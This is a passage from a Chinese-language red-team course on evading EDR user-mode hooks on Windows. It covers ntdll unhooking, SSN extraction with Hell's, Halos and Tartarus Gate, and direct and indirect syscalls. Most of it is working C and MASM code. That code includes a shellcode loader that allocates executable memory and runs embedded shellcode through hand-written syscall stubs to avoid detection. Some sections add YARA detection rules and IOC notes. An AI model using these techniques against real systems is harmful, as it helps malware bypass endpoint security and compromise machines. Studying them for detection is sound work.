				bool isProtected = VirtualProtect((PBYTE)pageStart, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtection);
				memcpy(pFunctionAddress, cleanNTAPI, 0xb);
				isProtected = VirtualProtect((PBYTE)pageStart,0x1000, oldProtection, &oldProtection);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	unsigned char cleanNtOpenProcess[] = "\x4c\x8b\xd1\xb8\x26\x00\x00\x00\x0f\x05\xc3";
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	return 0;
}
```

代码的 syscall stub 中保存的是最精简的指令，因为这足以成功发起 syscall。总之，通过补丁给定被 hook 的函数指令，可以实现对想要的函数进行 unhook。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/cxAdiy2r2nfk4gdO-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/cxAdiy2r2nfk4gdO-image.png)

对于此方法，虽然比替换整个代码区动静要小一些，但因为原理相似，论 IOC 其实是差不多的。

### **从挂起的进程中载入纯净 ntdll 模块**

我们还可以通过读取挂起进程中载入的 ntdll 来获得纯净的副本，并用于 unhook。当进程以**挂起**或者**被调试**的状态被创建，此时只有 ntdll 被载入，EDR 还未来得及注入其检视 API 调用的模块。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/j0SqN4PdAoczUyZe-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/j0SqN4PdAoczUyZe-image.png)

在这之后，我们可以通过 ReadProcessMemory 来读取载入的 ntdll 模块的代码区。要能精准地获取干净副本的代码区并实现 unhook，我们可以通过以下的步骤实现：

1. 使用 **NtQueryInformationProcess** API 获得远程挂起进程的 PEB 地址
2. 通过 **PEB Walking** 的方法获得远程进程中载入的纯净 ntdll 地址。因为是远程进程，步骤会不那么直接一些。
3. 因为都是已经载入到内存的 ntdll，解析当前载入的 ntdll 模块(即被 hook 的) 从而获取代码区的 **RVA** 以及**尺寸**
4. 从纯净的 ntdll 模块的代码区开始读取，直到读取字节数达到尺寸
5. 覆盖被 hook 的代码区实现 unhook

***知道了原理与流程后，作为一道练习题，请学员们尝试自行完成完整代码，并分析该方法有哪些 IOC。***

# 调用syscall实现用户态Hook绕过

在上个小节，我们主要是通过对 ntdll 模块进行覆盖或者补丁来移除 hook 实现用户态 hook 的绕过。但是这些方法涉及到对 ntdll 的纂改，以及对内存权限的修改，具有一定的风险。实际上，我们还有其他途径来实现 hook 的绕过。

### **提取 syscall 号码**

我们可以在 C 项目里定义汇编函数，来实现 NTAPI。我们知道，只需要最少 4 条指令，我们便能成功执行 syscall。但在执行 syscall 之前，我们需要获得目标函数的 SSN。我们可以从磁盘中读取一份干净的 ntdll 并解析得到 SSN，但从磁盘中读取 ntdll 会显得有些可疑，因此最好是解析载入的 ntdll 并设法获得 SSN。

#### **Hells Gate**

Hells Gate 通过 PEB Walking 的方法得到加载的 ntdll 地址以及想要获得 SSN 的函数地址。通过对关键字节的比较来确定这是一个有效的 syscall stub，从而提取出 SSN。其实上个小节我们已经用了这个逻辑了。

原始代码关键部分如下：

```
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
					&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
					&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
					&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
					&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
					&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
					BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); 
					BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); 
					pVxTableEntry->wSystemCall = (high << 8) | low;
					break;
}
```

但是，如果要搜索的函数被 hook 了，那么 SSN 可能不会存在于 syscall stub 里(取决于是什么 EDR 以及覆盖了哪些指令)，这样的话，就不能成功获得 ssn 了。因此，Halos Gate 对此进行了改善。

#### **Halos Gate**

我们发现，在 ntdll 里，随着地址的增高，NTAPI 的 SSN 是递增的，反之则递减。因此，如果我们想要搜索的 NTAPI 被 hook 了，可以向上和向下同时继续搜索，例如往下搜索了 **2 跳**发现了一个未被 hook 的 NTAPI，那么要搜索的 NTAPI 的 SSN 就是这个未被 hook 的 NTAPI 的 SSN 再减去 2，即 **Desired\_SSN = Clean\_SSN - Hop**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/MygmjRJ3KjEvKnoL-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/MygmjRJ3KjEvKnoL-image.png)

关键代码部分如下：

```c
int GoUp -32;
int GoDown 32;
// If the first instruction of the syscall is a an inconditional jump (aka it's hooked)
if (*((PBYTE)pFunctionAddress) == 0xe9) {
	// Search beginning pattern of syscall stub through 500 function up and down from our location
	for (WORD index = 1; index <= 500; index++) {
		// Search the begining of a syscall stub in the next function down
		if (*((PBYTE)pFunctionAddress + index * GoDown) == 0x4c
			&& *((PBYTE)pFunctionAddress + 1 + index * GoDown) == 0x8b
			&& *((PBYTE)pFunctionAddress + 2 + index * GoDown) == 0xd1
			&& *((PBYTE)pFunctionAddress + 3 + index * GoDown) == 0xb8
			&& *((PBYTE)pFunctionAddress + 6 + index * GoDown) == 0x00
			&& *((PBYTE)pFunctionAddress + 7 + index * GoDown) == 0x00) {
			BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoDown);
			BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoDown);
			// substract the index from the current syscall identifier to find the one of our target function
			pVxTableEntry->wSystemCall = (high << 8) | low - index;
			return TRUE;
		}
		// Search the begining of a syscall stub in the next function down
		if (*((PBYTE)pFunctionAddress + index * GoUp) == 0x4c
			&& *((PBYTE)pFunctionAddress + 1 + index * GoUp) == 0x8b
			&& *((PBYTE)pFunctionAddress + 2 + index * GoUp) == 0xd1
			&& *((PBYTE)pFunctionAddress + 3 + index * GoUp) == 0xb8
			&& *((PBYTE)pFunctionAddress + 6 + index * GoUp) == 0x00
			&& *((PBYTE)pFunctionAddress + 7 + index * GoUp) == 0x00) {
			BYTE high = *((PBYTE)pFunctionAddress + 5 + index * GoUp);
			BYTE low = *((PBYTE)pFunctionAddress + 4 + index * GoUp);
			// substract the index from the current syscall identifier to find the one of our target function
			pVxTableEntry->wSystemCall = (high << 8) | low + index;
			return TRUE;
		}
}
```

代码里定义了最大搜索跳数为 32，搜索时确实需要注意边界。Halos Gate 也有个小局限性，它以第一条指令是否是 jmp 从而判断函数是否被 hook 了。我们之前说了，不同的 EDR 覆盖的指令不同，有的 EDR 覆盖的不是第 1 条指令，可以是 syscall 之前的任何指令。例如 CrowdStrike 覆盖的是第 2 条指令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/G2gtx7JTwdq1Kc7F-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/G2gtx7JTwdq1Kc7F-image.png)

#### **Tartarus Gate**

Tartarus Gate 相比 Halos Gate 的改动比较小，主要是考虑了更多 EDR 可能 hook 的情况，例如上面截图所示的情况。对前 4 字节逐一对比，还是相对比较可靠的判断。当然了，hook 导致的指令覆盖可能在 syscall 指令之前的任何字节，如果不放心的话，可以增加更多字节比较。

下面的代码是我个人对动态获取 SSN 的实现：

```c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

unsigned char QuickGetSSN(PBYTE pFunctionAddress)
{
	const int maxOffset = 10; // You can adjust this based on your requirements.
	int offset;
	unsigned char ssn_low = -1;
	unsigned char ssn_high = -1;
	unsigned char ssn = -1;
	if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
	{
		printf("The function is clean\n");
		char ssn = *((unsigned char*)(pFunctionAddress + 4));
		printf("ID of searched function is: 0x%x\n", ssn);	
		return ssn;
	}
	else
	{
		printf("The function is hooked\n");
		// Search both upwards and downwards.
		for (offset = 1; offset <= maxOffset; ++offset)
		{
			// Check upwards.
			PBYTE checkAddress = pFunctionAddress - (0x20 * offset);
			if (checkAddress[0] == 0x4C && checkAddress[1] == 0x8B && checkAddress[2] == 0xD1 && checkAddress[3] == 0xB8)
			{
				ssn_low = *((unsigned char*)(checkAddress + 4));
				ssn_high = *((unsigned char*)(checkAddress + 5));
				ssn = ssn_low * 1 + ssn_high * 16;
				printf("Clean sequence found upwards at offset -0x%x, SSN of the unhooked function is 0x%x\n", offset, ssn);
				printf("SSN of searched NTAPI is 0x%x\n", (offset + ssn));
				return ssn+offset;
			}

			// Check downwards.
			checkAddress = pFunctionAddress + (0x20 * offset);
			if (checkAddress[0] == 0x4C && checkAddress[1] == 0x8B && checkAddress[2] == 0xD1 && checkAddress[3] == 0xB8)
			{
				ssn_low = *((unsigned char*)(checkAddress + 4));
				ssn_high = *((unsigned char*)(checkAddress + 5));
				ssn = ssn_low * 1 + ssn_high * 16;
				printf("Clean sequence found downwards at offset 0x%x, SSN of the unhooked function is 0x%x\n",offset, ssn);
				printf("SSN of searched NTAPI is 0x%x\n", (offset - ssn));
				return ssn-offset;
			}
		}
	}
}

unsigned char GetSSNByName(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	unsigned char ssn_low = -1;
	unsigned char ssn_high = -1;
	unsigned char ssn = -1;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return -1;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return -1;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
				ssn_low = *((unsigned char*)(pFunctionAddress + 4));
				ssn_high = *((unsigned char*)(pFunctionAddress + 5));
				ssn = ssn_low * 1 + ssn_high * 16;
				printf("Syscall number of function %s is: 0x%x\n", pFunctionName,ssn);	
				return ssn;
			}
			else
			{
				printf("NTAPI %s is hooked, check surrounding functions\n", funcName);
				ssn = QuickGetSSN(pFunctionAddress);
				printf("Syscall number of function %s is: 0x%x\n", pFunctionName, ssn);	
				return ssn;
			}
			return -1;
		}
	}
	return -1;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	unsigned char ssn =GetSSNByName(ntdll, "NtOpenProcess");
	printf("SSN of the NtOpenProcess is 0x%x\n", ssn);
	return 0;
}
```

我们人为地给 NtOpenProcess，以及其前向 2 个函数、后向 3 个函数都进行了指令覆盖来模拟 hook。最终，程序成功地发现前向第 3 个函数是没有被 hook 的，提取了其 SSN 后加上 3，得到了 NtOpenProcess 的 SSN。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/P2cJOSA5Bf20xRRH-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/P2cJOSA5Bf20xRRH-image.png)

### **直接调用 Syscall**

有了目标函数的 SSN，我们便可以用汇编代码实现 NTAPI 并进行调用了。这里，我们将先讨论直接调用 syscall。我们以经典的 VirtualAlloc + WriteProcessMemory(或者是其他复制数据的函数) + CreateThread + WaitForSingleObject 的代码执行方法为例，当然了，我们使用的是这些 API 的 NTAPI 版本，执行 calc 的 shellcode。

#### **直接 syscall**

在 C 源代码文件里定义 NtAllocateVirtualMemory 函数以及所需的结构体(尽管该 NTAPI 没有所需的结构体)，而在 asm 文件里用汇编代码实现函数功能，这里我们实现 NtAllocateVirtualMemory 的 syscall stub 即可。 **EXTERN\_C 宏**允许链接器将该函数定义与汇编代码链接起来，需要保持名称相同。这样，我们就能像调用一般函数一样调用定义的汇编函数了。

```c
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);
```

```c
.code
<...SNIP...>

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov rax, 18h
    syscall
    ret
NtAllocateVirtualMemory ENDP

<...SNIP...>
end
```

以此类推，我们接着去定义其他所需的函数，例如 NtWriteVirtualMemory，NtCreateThreadEx，NtWaitForSingleObject，NtClose 等。因为这些 NTAPI 大都没有微软官方的文档，因此我们需要借助搜索引擎参考已有项目对其的用法。完成后的代码如下：

**DirectSyscall.c** 代码

```c
#include <stdio.h>
#include <Windows.h>

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);

EXTERN_C NTSTATUS NtWriteVirtualMemory(
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress,
	IN PVOID Buffer,
	IN SIZE_T NumberOfBytesToWrite,
	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

EXTERN_C NTSTATUS NtCreateThreadEx(
	OUT PHANDLE ThreadHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN HANDLE ProcessHandle,
	IN PVOID StartRoutine,
	IN PVOID Argument OPTIONAL,
	IN ULONG CreateFlags,
	IN SIZE_T ZeroBits,
	IN SIZE_T StackSize,
	IN SIZE_T MaximumStackSize,
	IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

EXTERN_C NTSTATUS NtWaitForSingleObject(
	IN HANDLE ObjectHandle,
	IN BOOLEAN Alertable,
	IN PLARGE_INTEGER TimeOut OPTIONAL);

EXTERN_C NTSTATUS NtClose(
	IN HANDLE Handle);


int main() {
    // calc.exe shellcode
    unsigned char code[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";


    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(code);
    HANDLE hThread;
    NTSTATUS status;

    allocation_start = nullptr;


    // Allocate Virtual Memory 
	if (NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)==0)
		printf("Memory allocated at %p\n", allocation_start);
	else
		printf("Allocated failed, Error code is %d\n",GetLastError());

    // Copy shellcode into allocated memory
	if (NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0)==0)
		printf("Copied successfully\n");
	else
		printf("Copied failed, Error code is %d\n", GetLastError());


	if (NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocation_start, NULL, FALSE, NULL, NULL, NULL, NULL)==0)
		printf("Executed successfully\n");
	else
		printf("Executed failed, Error code is %d\n", GetLastError());

    // Wait for the end of the thread and close the handle
    NtWaitForSingleObject(hThread, FALSE, NULL);
    NtClose(hThread);

    return 0;
}
```

**stub.asm** 代码

```c
.code

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov rax, 18h
    syscall
    ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov rax, 3Ah
    syscall
    ret
NtWriteVirtualMemory ENDP

NtCreateThreadEx PROC
    mov r10, rcx
    mov rax, 0C2h
    syscall
    ret
NtCreateThreadEx ENDP

NtWaitForSingleObject PROC
    mov r10, rcx
    mov rax, 4
    syscall
    ret
NtWaitForSingleObject ENDP

NtClose PROC
    mov r10, rcx
    mov rax, 0Fh
    syscall
    ret
NtClose ENDP


end
```

为了能编译 masm 文件，我们右键项目，选择 **Build Dependencies -&gt; Build Customizations**，勾选 **masm**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/ouDmEOA6Lvjc01pk-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/ouDmEOA6Lvjc01pk-image.png)

右键 asm 代码文件选择属性，**General -&gt; Item Type** 选项选择 **Microsoft Macro Assembler**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/QJuqgked4UhodQgC-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/QJuqgked4UhodQgC-image.png)

这样我们便能编译项目里的 masm 代码了。编译后运行程序，我们发现 shellcode 得以成功运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/o6aHs00RAIYUxxcO-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/o6aHs00RAIYUxxcO-image.png)

不过直接 syscall 调用的弊端也是比较显著的，汇编函数在编译后成为操作码存在于程序的代码区，汇编代码与操作码是可预测的一一对应的关系。因此，如果没有对 syscall stub 进行混淆的话，我们可以用如下 yara 规则来检测包含直接 syscall 调用的程序：

```yaml
rule direct_syscall
{
    meta:
        description = "Hunt for direct syscall"

    strings:
        $s1 = {4c 8b d1 48 c7 c0 ?? ?? ?? ?? 0f 05 c3}
        $s2 = {4C 8b d1 b8 ?? ?? ?? ?? 0F 05 C3}
    condition:
        #s1 >=1 or #s2 >=1
}
```

我们定义了 5 个 syscall stub，都被检测到了。我们可以插入一些 **NOP** 类(即无实际意义、不影响运行结果) 的指令用于混淆 syscall stub。但即便有混淆，0xf 0x5(syscall) 指令始终存在于代码区，这是可疑的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/EEhQPYmzhhd5SM5L-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/EEhQPYmzhhd5SM5L-image.png)

此外，从调用栈的视角，是我们程序的某一函数发起了 syscall，而不是 ntdll 空间内的 NTAPI，这是非常可疑的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/eDG3VYrocukn8BnY-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/eDG3VYrocukn8BnY-image.png)

#### **syswhisper 1&amp;2**

Syswhisper 1 和 2 可以自动地帮我们生成 C 项目的头文件以及 asm 文件，方便我们发起直接 syscall。Syswhisper 1 是通过检查操作系统的版本从而确定给定 NTAPI 的 SSN，这算是硬编码了，不够灵活。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/cgSWm1nMFyQ8tEVc-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/cgSWm1nMFyQ8tEVc-image.png)

syswhisper 2 将所有 **Zw** 开头的函数按照地址排序存储进数组里，**SSN** 与**函数地址高低**是正相关，因此，要寻找的函数的 SSN 即为该函数地址在数组里的索引。

至于为什么以 Zw 开头，因为其实 NTAPI 的 NT 与 ZW 版本指向同一地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/jYBJYtjOb4rwiePZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/jYBJYtjOb4rwiePZ-image.png)

使用 syswhisper 2 的 python 脚本生成所需的**头文件，c 文件**以及 **asm 文件**，可以生成所有的 NTAPI 的相关代码，也可以只生成指定或常用的 NTAPI 的。

因为有 asm 文件，所以我们依旧需要启用 masm。把生成的**头文件**加入到 **Header Files** 中，**c 文件**与 **asm 文件**添加至 **Source Files** 中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/MZRsYBTvJXcqXhMR-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/MZRsYBTvJXcqXhMR-image.png)

对于主函数的代码，我们可以复用之前的，但别忘了添加 syswhisper2 生成的头文件。就这样，我们也成功执行了 shellcode。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/qObsEgByktoIErkR-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/qObsEgByktoIErkR-image.png)

我们可以根据 asm 文件中的 WhisperMain 函数代码创建 yara 规则。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/sppIpWkdxz0AfGDl-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/sppIpWkdxz0AfGDl-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/xx6UlpxagAcDwBB4-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/xx6UlpxagAcDwBB4-image.png)

样本规则如下所示：

```yaml
rule syswhisper2
{
    meta:
        description = "Hunt for syswhisper2 generated asm code"

    strings:
        $s1 = {58 48 89 4C 24 08 48 89 54 24 10 4C 89 44 24 18 4C 89 4C 24 20 48 83 EC 28 8B 0D ?? ?? 00 00 E8 ?? ?? ?? ?? 48 83 C4 28 48 8B 4C 24 08 48 8B 54 24 10 4C 8B 44 24 18 4C 8B 4C 24 20 4C 8B D1 0F 05 C3}
    condition:
        #s1 >=1 
}
```

这样，我们用 yara 检测到了使用 syswhisper2 的程序。当然了，可以对该函数进行混淆，不过调用栈的嫌疑也很大。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/agYUmPZMOvbHIpNn-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/agYUmPZMOvbHIpNn-image.png)

### **间接调用 Syscall**

因为直接 syscall 在调用栈上有着难以掩盖的检测点，间接调用 syscall 应运而生。间接调用 syscall 这个分类下其实也衍生出了多种方法，也包括我近期提出的 MutationGate。

#### **间接 syscall**

<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">间接 syscall 的宗旨是与其直接在程序内执行 syscall 指令，不如在 **ntdll 模块里**寻找一条 syscall 指令，记录其地址，并在项目中用汇编代码定义的 syscall stub 中，将原本的 **syscall 指令**替换为 **jmp &lt;syscall 地址&gt;** 指令。如下所示：</span>

```c
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtAllocateVirtualMemory ENDP
```

我们可以用如下代码获得给定 NTAPI 的 syscall 指令的地址。不过，从**函数调用成功**的角度来看，我们其实不是非得要获得目标 NTAPI 的 syscall 指令的地址。syscall 是一种特殊的 call 指令，根据 RAX/EAX 的值来确定内核层的对应函数，而非 syscall 指令所在的地址。也就是说，如果我们能在其他 DLL 中找到 syscall 指令，也是可以用的。如果我们刻意地选用良性 NTAPI 的 syscall 指令而非目标 NTAPI 的，可能会带来规避上的优势，但也可能适得其反，这取决于 EDR 的检测逻辑。毕竟，在内核层从**调用栈**或**返回地址**的角度是可以看出端倪的。

```c++
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}


PBYTE GetSyscallAddr(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PBYTE syscall;

	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return 0;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return 0;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			syscall = (pFunctionAddress + 0x12);
			return syscall;
		}
	}
	return 0;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	PBYTE syscall_addr = GetSyscallAddr(ntdll, "NtOpenProcess");
	printf("Address of syscall instruction is 0x%p\n", syscall_addr);
	return 0;
}
```

这样，我们成功地获得了一条 syscall 指令的地址，与我们在 WinDBG 中查看到的一致。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/QvP1WKcniSqgyRGA-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/QvP1WKcniSqgyRGA-image.png)

